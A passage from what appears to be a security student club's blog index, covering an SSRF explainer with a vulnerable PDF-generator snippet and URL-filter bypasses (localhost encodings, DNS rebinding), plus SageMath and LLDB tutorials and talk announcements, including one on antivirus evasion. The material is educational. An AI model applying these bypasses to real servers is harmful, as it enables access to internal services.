experienced reverse engineers.\nUnderstanding the target The first step to reverse engineering is figuring out how the target binary is constructed. I don\u0026rsquo;t want to waste our time reversing a packer or .","title":"[X-MAS CTF 2021] Intensive Training"},{"content":"What is Server Side Request Forgery (SSRF)? It is a web security vulnerability that allows an attacker to induce a server side application to make a HTTP request to a domain of the attacker\u0026rsquo;s choosing.\nTypically, the attacker will target the server\u0026rsquo;s internal only services.\nWhy SSRF? SSRF trend Between 2017 to 2021, SSRF have been in the rise and is a new contender in the OWASP top 10.\nSome possible explainations might be the rise of the cloud and microservices architecture.\nA large amount of information today is hosted on the cloud to improve deployment times, high application uptimes as well as autoscaling with technologies such as kubernetes.\nWith the microservices architecture, big services are split up into multiple smaller microservices where each microservice is used to maintain one function of the larger services. The microservices usually communicate with each other over HTTP or other lightweight protocols.\nThis microservices architecture provides a large surface for the attacker to attempt to exploit SSRF. Any single vulnerable service will allow the attacker to access multiple microservices. With more services communicating with each other, the attacker will have a higher chance of finding a more impactful exploit.\nGeneral Impact The impact of SSRF is generally an attack on the server itself or other internal services that can be accessed from the server.\nHow does SSRF work? SSRF Although the attacker is unable to access the internal services directly, the attacker can still reach the other internal services through the vulnerable web servers.\nIn the diagram above, the attacker sends a malicious packet to the server to induce the server to make a request to other internal services (Either 1 or 2).\nThis usually occurs due to the lack of sanitization of user input especially when it comes to URLs. For example, if there is a web service that allows other users to convert a webpage into a PDF, the attacker can send the ip address of an internal service to view what is available on the other internal services.\nAn example of such a scenerio is CVE-2020-7740 which affects all versions of node-pdf-generator.\nIn this case, there is no sanitization of the user\u0026rsquo;s url before generating the PDF.\nfunction acceptHtmlAndProvidePdf(request, response) { console.log(\u0026#39;Request received: \u0026#39; + request); request.content = \u0026#39;\u0026#39;; request.addListener(\u0026#34;data\u0026#34;, function (chunk) { if (chunk) { request.content += chunk; } // Lack of checks here }); request.addListener(\u0026#34;end\u0026#34;, function () { var options = { encoding: \u0026#39;utf-8\u0026#39;, pageSize: request.headers[\u0026#39;x-page-size\u0026#39;] || \u0026#39;Letter\u0026#39; }; response.writeHead(200, { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/pdf\u0026#39; }); htmlToPdf(request.content, options) .pipe(response); console.log(\u0026#39;Processed HTML to PDF: \u0026#39; + response); }); } This allows the attacker to forge a server request as the script fetches the information from the webpage to convert to PDF.\nWhat is the impact of SSRF The impact of SSRF can widely vary depending on different circumstances.\nDenial of Service Remote Code execution Bypassing access control Port Scanning: Reqeusts can be made to different ports and the resulting status code or result shown on the frontend allows the attacker to infer if the port is open Other internal services (Details on the attacks are given in the references below) Redis: If Redis uses a text based protocol (RESP), the attacker can send a payload with the correct format and send commands to the redis server. Cloud metadata: Metadata API base url can be given to the vulnerable server to retrieve information about the server. Types of SSRF There are mainly 3 different types of SSRF vulnerabilities.\nBasic SSRF: The result is returned to the frontend and can be seen by the user. Blind SSRF: The result of the attack is not returned to the frontend. Semi-Blind SSRF: The attacker only knows if the payload was successful or not. No details are given. Comparison between Different Types of SSRF Criteria Basic SSRF Blind SSRF Semi-Blind SSRF Can the attacker directly view the page Yes No No Difficulty of exploitation (In general) Lower Higher Medium Example of a Basic SSRF An example of a basic SSRF exploit can be found here\nIn this example, the exposed service is running a PDF generation service. It takes in a URL from the user without sanitization and generates a PDF based on the link that it receives.\nWithin the same local environment, there is also another service that is running on localhost:5001 that contains a web server that is only accessible internally.\nBy passing the url of this internal service into the PDF generation service, the attacker can generate a PDF of the webpage that is hosted on the internal service.\nExample of a Blind SSRF An example of a blind SSRF exploit can be found here\nIn this example, the exposed service is a reporting server where users report suspicious attacks to the administrator.\nThe server automatically goes to the website and take a screenshot of the website before generating a markdown file for the admin to view.\nWhich this may seem like a good idea, a request from the server is forged in the process of taking the screenshot.\nAlthough this is harder to exploit compared to the basic SSRF, it can still lead to remote code execution under correct circumstances.\nMitigations for SSRF Input validation (Sanitization) for URLs given by the user. This can be in the form of a whitelist or a blacklist (There is a different list of caveats for blacklists) Verification that IP / Domain is not an internal IP address / invalid address. Do not accept complete URLs from users. Firewall filters to prevent access of unauthorised domains Bypasses for Mitigations However, for each the mitigations, there might be some bypasses which can be used to reduce the effectiveness of the mitigations.\nUsage of malformed URLs {domain}@127.0.0.1 or 127.0.1 all redirects to localhost. There are multiple encodings of this url. Similar methods can be used for other urls. DNS rebinding The attacker can register a domain and point it to a non-blacklisted website. After the server checks that the domain is valid, the attacker can change it to point to an internal ip address. When the server visits the domain again, the server will visit the internal ip address. More information can be found below Open Redirect If there is another open redirection on the page, the open redirection can be used to bypass restrictions on the webpage. Bypass via Redirection There might be filtering when it comes to a URL. This can be used to bypass url filters by registering a valid url which bypasses the various types of filtering. SSRF via Referrer header Sometimes web applications make use of server side analytics software that tracks visitors. These software logs the referrer header in the request and actually visit the websites to analyze the contents of referrer sites. References Port Swigger OWASP Top 10 Wallarm Attacking Redis Through SSRF SSRF Exposes data of technology From SSRF to port scanner Hacktricks - SSRF Bypasses SSRF Bypass Cheatsheet SSRF DNS Rebinding SSRF Bypass techniques ","permalink":"https://nusgreyhats.org/posts/writeups/ssrf/","summary":"What is Server Side Request Forgery (SSRF)? It is a web security vulnerability that allows an attacker to induce a server side application to make a HTTP request to a domain of the attacker\u0026rsquo;s choosing.\nTypically, the attacker will target the server\u0026rsquo;s internal only services.\nWhy SSRF? SSRF trend Between 2017 to 2021, SSRF have been in the rise and is a new contender in the OWASP top 10.\nSome possible explainations might be the rise of the cloud and microservices architecture.","title":"Server Side Request Forgery"},{"content":"SageMath Installation Windows : https://www.sagemath.org/download-windows.html\nMac : https://www.sagemath.org/download-mac.html\nLinux : https://www.sagemath.org/download-linux.html\nAs the whole package is around 10GB, it takes quite some time to install the whole package.\nRunning Sage IDE After the installation, run sagemath in terminal by typing sage\n$ sage ┌────────────────────────────────────────────────────────────────────┐ │ SageMath version 9.4, Release Date: 2021-08-22 │ │ Using Python 3.9.5. Type \u0026#34;help()\u0026#34; for help. │ └────────────────────────────────────────────────────────────────────┘ sage: Color Scheme You can change the color scheme by typing the command\nsage: %colors Linux Valid schemes: ['NoColor', 'Linux', 'LightBG', 'Neutral', '']\nI find the Linux color scheme most suitable dark background terminal.\nRunning Sage from file You can run a sage file from the terminal with\n$ sage test.sage\nOr a python file with\nIn the python file, import sage by\nfrom sage.all import * ... Then run it with this command\n$ sage -python test.py\nSageMath syntax Althought SageMath uses syntax very identical to python, there are still some subtle difference between them.\nThe official documentation often uses syntax that is supported only in .sage file.\nCommon syntax difference\nBehavior Sage Python Exponent ^ ** XOR ^^ ^ Polynomial R.\u0026lt;x\u0026gt; = QQ[] QQ['x'] Multivariable Polynomial R.\u0026lt;x,y,z\u0026gt; = QQ[] QQ['x','y','z'] Most of the syntax are supported in both files\nThe best part of SageMath is that it provides simple syntax for many complex mathematical operations.\nRing and Field First, one must identify these symbols\nSymbol Meaning Type ZZ Integers Ring QQ Rational Numbers Field RR Real Numbers Field CC Complex Numbers Field Zmod(N) Integer Modulo N Ring GF(N) Finite Field of size N Field Note that for GF(N) the N must be $p^a$ where p is a prime.\nThe main differences between a ring and a field is\nNot all non-zero element in a Ring has an inverse. Ring might has zero divisor. Take integer modulo 6 ring as an example\nThe number 3 does not have inverse. There is no such number $a$ such that $3 \\cdot a \\equiv 1 \\mod 6$ The number 3 and 2 is a zero divisor. $3 \\cdot 2 \\equiv 0 \\mod 6$ You need to be very careful for the choice of your Ring/Field as some functions are only valid for field but not for ring.\nIn general, field are easier to work with as it has more properties. Most of the function that works for ring will work for field.\nTherefore, if you are dealing with integer modulo a prime number, you should use GF(p) instead of Zmod(p)\nOnce you convert a number to GF(p) or Zmod(p), you don\u0026rsquo;t have to keep applying % operator as the modulo operation will already be done automatically.\nsage: a = 63283 sage: b = 45342 sage: a = GF(17)(a) sage: b = GF(17)(b) sage: a + b 12 sage: a / b 3 sage: a^-1 2 sage: a^30 4 Operation +, -, *, ^ are well defined for Rings and Field.\nOpeartion / can be use if the element has an inverse\nFactor a number with the factor() function\nsage: a = 63283 sage: a.factor() 11^2 * 523 Polynomial Univariate Polynomial Recall the syntax to declare a polynomial is R.\u0026lt;x\u0026gt; = QQ[]\nR represents the Polynomial Ring\nx represents the variable\nQQ represents the ring for the coefficient of the polynomial.\nLet\u0026rsquo;s say you want to declare a polynomial such that the coefficient can only be an integer.\nThen it will be R.\u0026lt;x\u0026gt; = ZZ[]\nsage: R.\u0026lt;x\u0026gt; = ZZ[] sage: f = 1*x + 2*x^2 + 3*x^3 sage: g = 3*x + 10*x^2 You can use +, -, *, /, ^ for polynomials as usual\nsage: f-g 3*x^3 - 8*x^2 - 2*x sage: f*g 30*x^5 + 29*x^4 + 16*x^3 + 3*x^2 sage: f/g (3*x^2 + 2*x + 1)/(10*x + 3) sage: g^3 1000*x^6 + 900*x^5 + 270*x^4 + 27*x^3 Factor the polynomiak with factor()\nsage: f.factor() x * (3*x^2 + 2*x + 1) To apply some value to the polynomial, use the syntax f(x = 2) or f(2)\nsage: f(2) 34 sage: f(x=2) 34 To extract the coefficient of the polynomial, use list() function\nsage: g.list() [0, 3, 10] To get the roots of a polynomial, use roots() function\nf.roots() Note : This function is only defined for univariate polynomial in integer Ring or Field.\nMultivariate Polynomial Declaring the polynomial by R.\u0026lt;x,y\u0026gt; = QQ[]\nOperation +, -, *, /, ^ are well defined as usual\nsage: R.\u0026lt;x,y\u0026gt; = QQ[] sage: f = x + y + x*y sage: g = x^2 + y^2 sage: f + g x^2 + x*y + y^2 + x + y sage: f ^ -1 * g (x^2 + y^2)/(x*y + x + y) You can use f(x = 2, y = 3) to apply some value to the polynomial\nsage: f(x=3,y=5) 23 There are 2 ways that I use to solve system of equations\nResultant If the underlying ring for the polynomial is either integer ring or field, then you can use resultant to solve system of linear equations.\nsage: R.\u0026lt;x,y\u0026gt; = QQ[] sage: f = x + y + x*y sage: g = x^2 + y^2 sage: k = f.resultant(g, x) sage: k y^4 + 2*y^3 + 2*y^2 As roots() are only definied for univariate polynomial, we must change k to a univariate polynomial first.\nsage: k = k(x = 0) sage: k = k.univariate_polynomial() sage: k.roots() [(0, 2)] Groebner basis Groebner basis is much slower and less consistent. It might not find a solution for certain equations.\nBut as it works on any ring, sometimes we have no choice to use it especially when we are dealing with the ring of Integer modulo n.\nsage: R.\u0026lt;x,y\u0026gt; = Zmod(30)[] sage: f = x + y + 3 sage: g = 3 * x + y + 10 sage: I = Ideal([f,g]) sage: I.groebner_basis() [x + 26, y + 7, 15] Matrix You can declare a matrix by :\nsage: Matrix(ZZ, [[2,2,3],[4,2,5],[3,3,3]]) [2 2 3] [4 2 5] [3 3 3] sage: Matrix(GF(2), [[2,2,3],[4,2,5],[3,3,3]]) [0 0 1] [0 0 1] [1 1 1] The first parameter represents the underlying field for the entries of the matrix.\nAccess the entries of the matrix with the natural way\nsage: A = Matrix(ZZ, [[2,2,3],[4,2,5],[3,3,3]]) sage: A[2][1] 3 Operation +, -, *, ^ are well defined for a matrix\nOperation / is valid if the matrix is invertible\nOther functions for matrix includes :\nsage: A.rref() [1 0 0] [0 1 0] [0 0 1] sage: A.kernel() Free module of degree 3 and rank 0 over Integer Ring Echelon basis matrix: [] sage: A.charpoly() x^3 - 7*x^2 - 16*x - 6 Discrete Logarithm As long as you are dealing with a finite group, you can always use discrete_log() to find discrete logarithm.\nsage: a = GF(23)(10) sage: b = a^13 sage: discrete_log(b,a) 13 sage: K = GF(3^6,\u0026#39;x\u0026#39;) sage: x = K.gen() sage: a = x^3 + 3*x^2 + 2 sage: discrete_log(a, x) 299 sage: a = Matrix(GF(7), [[2,2,3],[4,2,5],[3,3,3]]) sage: b = a^3 sage: discrete_log(b,a) 3 Others There are other useful functions in SageMath such as\nChinese Remainder Theorem Find multiplicative order Dealing with elliptic curve You can learn how to use them by referring to the official documentation\n","permalink":"https://nusgreyhats.org/posts/guides/sage_note/","summary":"SageMath Installation Windows : https://www.sagemath.org/download-windows.html\nMac : https://www.sagemath.org/download-mac.html\nLinux : https://www.sagemath.org/download-linux.html\nAs the whole package is around 10GB, it takes quite some time to install the whole package.\nRunning Sage IDE After the installation, run sagemath in terminal by typing sage\n$ sage ┌────────────────────────────────────────────────────────────────────┐ │ SageMath version 9.4, Release Date: 2021-08-22 │ │ Using Python 3.9.5. Type \u0026#34;help()\u0026#34; for help. │ └────────────────────────────────────────────────────────────────────┘ sage: Color Scheme You can change the color scheme by typing the command","title":"SageMath guide"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAsduygpjsvEtKjXX3Wdid5-jBLVkt1mRMw\nTalk: 7:00pm-7:45pm Title: Source Engine code auditing adventure\nDescription In this talk I will talk about the Source Engine, the leaked codebase and how I audited it to find vulnerabilities. This also acts as a case study on how real life code bases are audited.\nRequirements The participants should have basic knowledge on C/C++, basic knowledge on x86 memory exploitation techniques, and how exploit mitigations (NX, ASLR, Stack Canaries) work.\nSpeaker Bio I\u0026rsquo;m Bien Pham, an offensive security engineer from the Sea Security Team. I\u0026rsquo;m known for finding vulnerabilities in Valve Corporation\u0026rsquo;s games, for instance, the Counter-Strike series. I also play CTFs, mostly handling pwn challenges.\nTalk: 7:45pm-8:30pm Title: SecWed Mini CTF\nDescription To end off Security Wednesdays for this semester, We will be having a mini CTF session where the participants will get time to try out different challenges.\nNearer to the end of the session, we will be going through the answers for each of the CTF challenges.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0311/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAsduygpjsvEtKjXX3Wdid5-jBLVkt1mRMw\nTalk: 7:00pm-7:45pm Title: Source Engine code auditing adventure\nDescription In this talk I will talk about the Source Engine, the leaked codebase and how I audited it to find vulnerabilities. This also acts as a case study on how real life code bases are audited.\nRequirements The participants should have basic knowledge on C/C++, basic knowledge on x86 memory exploitation techniques, and how exploit mitigations (NX, ASLR, Stack Canaries) work.","title":"SecWed #031121"},{"content":"During my internship, I reverse engineer macOS programs. So, I need a debugger.\nI am quite familiar with GDB, and there are nice extensions like GEF out there. However, Apple made it so difficult to compile a usable GDB on macOS\u0026hellip; 😑 We are pretty much forced to use LLDB (which I really don\u0026rsquo;t like).\nAnyways, beggars can\u0026rsquo;t be choosers, and vanilla GDB/LLDB is not really usable in the long run, so being able to use the scripting interface is very important. Similar to GDB, LLDB also has a Python scripting interface. Instead of .gdbinit, LLDB loads commands from .lldbinit during startup. There is a great lldbinit project that contains many custom commands which makes LLDB so much nicer to use, and I have a fork of it.\n(It is such a pain to even set breakpoints, vanilla LLDB is just not usable imo.)\nLLDB Architecture and Python Bindings Having the lldbinit extension is good. Being able to add my own custom commands is even better. To do so, I had to understand the architecture of the scripting interface.\nThe LLDB scripting interface is quite tidy. Everything is grouped into modules. Quoting the docs, here are less than half of the modules:\nSBAddress A section + offset based address class. SBBreakpoint Represents a logical breakpoint and its associated settings. SBBreakpointList Proxy of C++ lldb::SBBreakpointList class SBBreakpointLocation Represents one unique instance (by address) of a logical breakpoint. SBCommandInterpreter SBCommandInterpreter handles/interprets commands for lldb. SBCommandReturnObject Represents a container which holds the result from command execution. Feels like writing C++ but in Python. And the basic architecture is as follows:\nLLDB design: ------------| lldb -\u0026gt; debugger -\u0026gt; target -\u0026gt; process -\u0026gt; thread -\u0026gt; frame(s) -\u0026gt; thread -\u0026gt; frame(s) LLDB talks to the debugger object debugger holds a target target holds a process process holds multiple threads and lastly, each thread has one or more frames With more details (quoting the docs):\nSBTarget: Represents the target program running under the debugger. Gives information about the executable, process, modules, memory, breakpoints, etc There\u0026rsquo;s a lot, check the docs SBProcess: Represents the process associated with the target program. Gives information about the process, memory Some overlap with the above, but this one doesn\u0026rsquo;t have modules nor breakpoints Check the docs SBThread: Represents a thread of execution. Gives information about a thread, e.g. thread ID Exposes functions for stepping (step in, step over, etc) and suspending/resuming Contains stack frame(s) (according to docs, it is possible to have more than 1, but I always see just 1) Check out the docs SBFrame: Represents one of the stack frames associated with a thread. Gives information about a stack frame, e.g. registers, functions, symbols, disassembly, etc This is a really useful module because of the information it gives. Check out the docs Now, some useful functions to access the objects mentioned above (defined by lldbinit):\nSBTarget - get_target() SBProcess - get_process() SBThread - get_thread() SBFrame - get_frame() Yea, quite easy.\nCreate Custom Commands To define a new command, it is as simple as creating a function in lldbinit.py. For example, to create a command called newcmd:\ndef cmd_newcmd(debugger, command, result, _dict): args = command.split(\u0026#39; \u0026#39;) if len(args) \u0026lt; 1: print(\u0026#39;newcmd \u0026lt;expression\u0026gt;\u0026#39;) return ... Then, the function must be registered as a command in the __lldb_init_module method:\ndef __lldb_init_module(debugger, internal_dict): ... ci.HandleCommand(\u0026#34;command script add -f lldbinit.cmd_newcmd newcmd\u0026#34;, res) ... The function name can be anything, but by convention all command functions in lldbinit go by cmd_\u0026lt;command name\u0026gt;.\nThe function arguments result and _dict might be useful but I don\u0026rsquo;t use them. debugger is the LLDB debugger object mentioned earlier, and command is the exact command string entered by the user.\nWe can use the API listed above to obtain information about the target/process/thread/frame, or perform actions such as setting breakpoints, stepping through instructions, etc.\nExample 1: Reading Memory Here\u0026rsquo;s a simple command I wrote to print unicode strings from memory (similar to x/s but printing unicode strings).\ndef cmd_xu(debugger, command, result, _dict): args = command.split(\u0026#39; \u0026#39;) if len(args) \u0026lt; 1: print(\u0026#39;xu \u0026lt;expression\u0026gt;\u0026#39;) return addr = int(get_frame().EvaluateExpression(args[0]).GetValue(), 10) error = lldb.SBError() ended = False s = u\u0026#39;\u0026#39; offset = 0 while not ended: mem = get_target().GetProcess().ReadMemory(addr + offset, 100, error) for i in range(0, 100, 2): wc = mem[i+1] \u0026lt;\u0026lt; 8 | mem[i] s += chr(wc) if wc == 0: ended = True break offset += 100 print(s) Example 2: Alias It is also possible to make aliases for long commands. For example, an alias for disabling breakpoints, through the SBCommandInterpreter object obtained via the debugger.GetCommandInterpreter() method.\n# disable breakpoint number def cmd_bpd(debugger, command, result, dict): res = lldb.SBCommandReturnObject() debugger.GetCommandInterpreter().HandleCommand(\u0026#34;breakpoint disable \u0026#34; + command, res) print(res.GetOutput()) Example 3: Function Tracing Lastly, here is an example of a more complicated command I wrote to get the list of functions called by the target. This is useful when I am attaching LLDB to Safari, and want to know the functions in a library that were called by Safari when loading a webpage.\nFor example, to see the functions in CoreGraphics called when browsing Wikipedia:\n(lldbinit) cz CoreGraphics [+] Creating breakpoints for all symbols in CoreGraphics [+] Done creating breakpoints for all symbols in CoreGraphics 0x7fff2505d324: | CoreGraphics CGColorSpaceUsesExtendedRange |__ WebKit WebKit::ShareableBitmap::calculateBytesPerRow(WebCore::IntSize, WebKit::ShareableBitmap::Configuration const\u0026amp;) 0x7fff2504a997: | CoreGraphics CGColorSpaceGetNumberOfComponents |__ QuartzCore CABackingStorePrepareUpdates_(CABackingStore*, unsigned long, unsigned long, unsigned int, unsigned int, unsigned int, unsigned long long, CA::GenericContext*, UpdateState*) 0x7fff250496fc: | CoreGraphics CGColorSpaceRetain |__ QuartzCore CA::CG::IOSurfaceDrawable::IOSurfaceDrawable(__IOSurface*, unsigned int, unsigned int, CGColorSpace*, int, int, unsigned int, unsigned int) 0x7fff2549cd24: | CoreGraphics CFRetain |__ CoreGraphics CGColorSpaceRetain 0x7fff2504971c: | CoreGraphics cs_retain_count |__ CoreFoundation _CFRetain 0x7fff2504e3d8: | CoreGraphics CGColorSpaceRelease |__ QuartzCore CABackingStorePrepareUpdates_(CABackingStore*, unsigned long, unsigned long, unsigned int, unsigned int, unsigned int, unsigned long long, CA::GenericContext*, UpdateState*) 0x7fff2505fdd1: | CoreGraphics CGSNewEmptyRegion |__ QuartzCore CABackingStorePrepareUpdates_(CABackingStore*, unsigned long, unsigned long, unsigned int, unsigned int, unsigned int, unsigned long long, CA::GenericContext*, UpdateState*) ... def cmd_cz(debugger, command, result, _dict): args = command.split(\u0026#39; \u0026#39;) if len(args) \u0026lt; 1: print(\u0026#39;cov \u0026lt;module name\u0026gt;\u0026#39;) return module_name = args[0] target = debugger.GetSelectedTarget() module = find_module_by_name(get_target(), module_name) # to keep track of the breakpoints set bpmap = {} print(\u0026#34;[+] Creating breakpoints for all symbols in\u0026#34;, module_name) for symbol in module: sym_name = symbol.GetName() if sym_name.startswith(\u0026#34;os\u0026#34;) or \u0026#34;pthread\u0026#34; in sym_name or \u0026#34;lock\u0026#34; in sym_name or \u0026#34;operator\u0026#34; in sym_name: continue address = symbol.GetStartAddress().GetLoadAddress(target) bp = target.BreakpointCreateByAddress(address) bpmap[address] = bp print(\u0026#34;[+] Done creating breakpoints for all symbols in\u0026#34;, module_name) visited = [] while True: get_process().Continue() thread = get_thread() rip = int(str(get_frame().reg[\u0026#34;rip\u0026#34;].value), 16) if rip in visited: continue if rip not in bpmap.keys(): print(\u0026#34;[+] Dead\u0026#34;) # crashed or something break # disable breakpoint after reaching it one time bpmap[rip].SetEnabled(False) print(hex(rip) + \u0026#34;:\u0026#34;) for i in range(2): frame = thread.GetFrameAtIndex(i) symbol = frame.GetSymbol() module = frame.GetModule().GetFileSpec().GetFilename() print(\u0026#34;|\u0026#34; + \u0026#34;__\u0026#34; * i, module, symbol.GetName()) In this example, I created a breakpoint using target.BreakpointCreateByAddress(address), by using the SBSymbol methods to get a function\u0026rsquo;s address in the process. I also used the lldbinit helper function find_module_by_name to get a SBModule object given a module name.\nThere were more unmentioned API calls used by this command, read the code to learn more if you are interested.\nThat\u0026rsquo;s all. Hope you find this useful :D\nReferences:\nLLDB docs lldbinit fork of peter\u0026rsquo;s fork of gdbinit\u0026rsquo;s fork of deroko\u0026rsquo;s ","permalink":"https://nusgreyhats.org/posts/writeups/basic-lldb-scripting/","summary":"During my internship, I reverse engineer macOS programs. So, I need a debugger.\nI am quite familiar with GDB, and there are nice extensions like GEF out there. However, Apple made it so difficult to compile a usable GDB on macOS\u0026hellip; 😑 We are pretty much forced to use LLDB (which I really don\u0026rsquo;t like).\nAnyways, beggars can\u0026rsquo;t be choosers, and vanilla GDB/LLDB is not really usable in the long run, so being able to use the scripting interface is very important.","title":"Basic LLDB Scripting"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZIqd-qhrzopH90kFVsa1_98fY1Yq9r-VetY\nTalk: 7:00pm-7:45pm Title: My OSCP Journey\nDescription OSCP (Offensive Security Certified Professional) is an entry-level certification by Offensive Security that recognizes a person\u0026rsquo;s skills in penetration testing techniques and methodologies. In this talk, Jia Le will be sharing his experience in tackling this notoriously difficult and hands-on certification.\nRead more about the certification here: https://www.offensive-security.com/pwk-oscp/\nSpeaker Bio Tan Jia Le is a Year 2 Information Security student at the National University of Singapore (NUS) and a member of NUS Greyhats. He has a keen passion for penetration testing and had obtained the Offensive Security Certified Professional (OSCP) certification earlier this year. During his free time, he enjoys following security trends on Twitter and reading about security research findings. He also participates in Capture-The-Flag (CTF) competitions and focuses towards web challenges.\nTalk: 7:45pm-8:30pm Title: So you want to be a Malware Reverse Engineer (RE) ?\nA sharing of tips/lessons gathered from a 5 year old malware RE.\nSlides here\nDescription Do you know what to do when you receive a piece of binary? How can you tell if it\u0026rsquo;s malicious? What are the steps taken to analyze this binary? What are the tools and techniques you can apply to examine this binary? What pitfalls to avoid and overcome with some of these static and dynamic analysis tools? How do you go about extracting the IOCs(Indicators of compromise) from the binary? Many tools can be utilized to dissect malware, but do you know which is the most important and how to take care of it.\nThe talk will focus on Windows PE but the techniques could also be applied to other file formats. There won\u0026rsquo;t be anything that is tied to a particular malware family but the content of the talk is gathered from the lessons learned while \u0026lsquo;dancing\u0026rsquo; with malware samples.\nSpeaker Bio Mark is a malware reverse engineer since 2017. His job requires him to comb through tens of binaries every week. He focuses on taking apart malware to determine its evasion techniques and IOCs. He has to analyze binaries of multiple formats e.g. PE, ELF, Mach-O, doc, pdf.\nTo him, every piece of binary has a story waiting for a malware reverse engineer to tell it.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw2710/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZIqd-qhrzopH90kFVsa1_98fY1Yq9r-VetY\nTalk: 7:00pm-7:45pm Title: My OSCP Journey\nDescription OSCP (Offensive Security Certified Professional) is an entry-level certification by Offensive Security that recognizes a person\u0026rsquo;s skills in penetration testing techniques and methodologies. In this talk, Jia Le will be sharing his experience in tackling this notoriously difficult and hands-on certification.\nRead more about the certification here: https://www.offensive-security.com/pwk-oscp/\nSpeaker Bio Tan Jia Le is a Year 2 Information Security student at the National University of Singapore (NUS) and a member of NUS Greyhats.","title":"SecWed #271021"},{"content":" Talk 1: 7 PM to 7:35 PM Title: Cryptography - Diophantine equation\nDescription Diophantine equation is an equation where only the integer solutions matter. This has shown up in various cryptographical schemes like RSA, Diffie Hellman Key Exchange, and Elliptic Curve Cryptography. In this talk, Kel Zin will analyze some interesting CTF problems related to diophantine equation.\nSpeaker Kel Zin is a Year 2 NUS Computer Science student and a member of Greyhats. He likes Crypto.\nTalk 2: 7:35 PM to 8 PM Title: A practical approach to Image Forensics\nDescription As the famous adage goes, \u0026ldquo;A picture is worth a thousand words\u0026rdquo;. Images are commonly used in the internet we consume everyday, from social media to work. In this talk, we explore examining what an image is and how forensics \u0026amp; security could apply.\nBio Chan Jian Hao is an Information Security student at the National University of Singapore (NUS) and a member of NUS Greyhats. He enjoys fiddling with malwares and the forensics analysis of them, while at times pwning machines for penetration testing. During his free time, he spends it mindlessly playing computer games trying to escape from elohell.\nTalk 3: 8 PM to 8:15 PM Title: Hoodwinked\nDescription Steganography is the art of misdirection. The main idea is to trick a suspecting observer into thinking that nothing is there, when everything is present in plain sight. In this talk, Nigel will cover: (1) what steganography is, (2) LSB-steganography and (3) its applications in digital watermarking.\nBio Nigel enjoys algorithmic problems and composing music, though he is not blessed enough to be good at either. Pre-covid, he would sometimes be spotted at the pool.\nTalk 4: 8:15 PM to 8:30 PM Title: An introduction to XXE attacks\nDescription As web applications become increasingly prevalent in this day and age, the potential for attackers to exploit web-based vulnerabilities in these applications becomes increasingly greater. In this talk, Brandon will touch on on XML External Entity (XXE) Attacks, a particular form of web-based attacks that is less well-known.\nBio Brandon is an Information Security student and a member of Greyhats. He enjoys working with web-based applications as well as learning about various web exploitation techniques.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw2010/","summary":"Talk 1: 7 PM to 7:35 PM Title: Cryptography - Diophantine equation\nDescription Diophantine equation is an equation where only the integer solutions matter. This has shown up in various cryptographical schemes like RSA, Diffie Hellman Key Exchange, and Elliptic Curve Cryptography. In this talk, Kel Zin will analyze some interesting CTF problems related to diophantine equation.\nSpeaker Kel Zin is a Year 2 NUS Computer Science student and a member of Greyhats.","title":"SecWed #201021"},{"content":" Talk 1: 7:00pm-7:45pm Title: A Guide on Antivirus Evasion\nDownload Slides\nDescription Antivirus evasion is crucial in many cybersecurity research and operations. For example, red team exercises are often conducted in a hardened production environment. While open-source tools may help in the enumeration or exploitations of services, they are often detected and flagged by antivirus.\nIn this talk, we will look into manual and partially automated ways to achieve antivirus evasion. In addition, we will explore two case studies on evading detection of popular hacking tools - SharpHound and mimikatz.\nSpeaker Bio Glenice graduated from NUS Information Security in 2020 and is an alumnus of NUS Greyhats. She is currently working as an associate cybersecurity specialist at Government Technology Agency. Her work focuses on web security, cloud technology, and social engineering practices.\nTalk 2: 7:45pm-8:30pm Title: Dirty Deeds Done Dirt Cheap\nDescription What are real world bugs made of? A miserable pile of secrets. This talk is not about cool exploit techniques, nor is it about the latest bypass using complex machinery. In this talk, I present some of the cheapest no-brainer techniques that have been used to find security bugs that you as a security professional should know. We will uncover some of the dirtiest tricks people use to write software and how to break it. You won\u0026rsquo;t like what you see, but don\u0026rsquo;t hate the player, hate the game.\nSpeaker Bio Wai Tuck is a PhD student at SMU, focusing on the intersection between security and machine learning. He graduated from Carnegie Mellon University with a Masters in Information Security, where he actively participated in CTFs and worked on research in dynamic analysis of Javascript code. He also previously contributed to nmap, creating the first reliable scanning script for SambaCry. He is OSCP, OSCE, OSWP, and OSWE certified.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1310/","summary":"Talk 1: 7:00pm-7:45pm Title: A Guide on Antivirus Evasion\nDownload Slides\nDescription Antivirus evasion is crucial in many cybersecurity research and operations. For example, red team exercises are often conducted in a hardened production environment. While open-source tools may help in the enumeration or exploitations of services, they are often detected and flagged by antivirus.\nIn this talk, we will look into manual and partially automated ways to achieve antivirus evasion.","title":"SecWed #131021"},{"content":"Talk: 7:00pm-8:30pm The presentation will introduce what a Security Operations Center (SOC) is, its typical mission and responsibilities, and the different roles that make up a SOC. The speakers will talk about the various components of a SOC and how they help one another effectively detect security threats.\nThey will also discuss security incidents and how we respond to them. Finally, they will conclude the presentation with a show and tell how they can acquire an infected or compromised machine and what forensic artifacts they can uncover for our investigations.\nSpeakers Dr. Choo Fai Cheong is a senior manager at UKG. He is a founding member of UKG’s APAC Security Operations Center, where he has helped build the UKG\u0026rsquo;s SOC in Singapore. Dr. Choo is responsible for the day-to-day security operations and leads the team on threat hunting, detection development, and incident response. Before joining UKG, he was a senior consultant at Mandiant, where he handled cyber security incidents and performed forensic analysis.\nIan Starr Esguerra is a Senior Security Analyst at UKG. He has recently joined UKG’s APAC Security Operations Center, where he is part of the team that ensures the company’s security by analyzing security events, conducting incident response and investigations. Before joining UKG, he was an Incident Response Analyst at Barclays, where he performed a similar role. He was also a Malware Analyst at different AntiVirus companies, where he did the analysis, detection, and reverse engineering of prevalent malware.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0610/","summary":"Talk: 7:00pm-8:30pm The presentation will introduce what a Security Operations Center (SOC) is, its typical mission and responsibilities, and the different roles that make up a SOC. The speakers will talk about the various components of a SOC and how they help one another effectively detect security threats.\nThey will also discuss security incidents and how we respond to 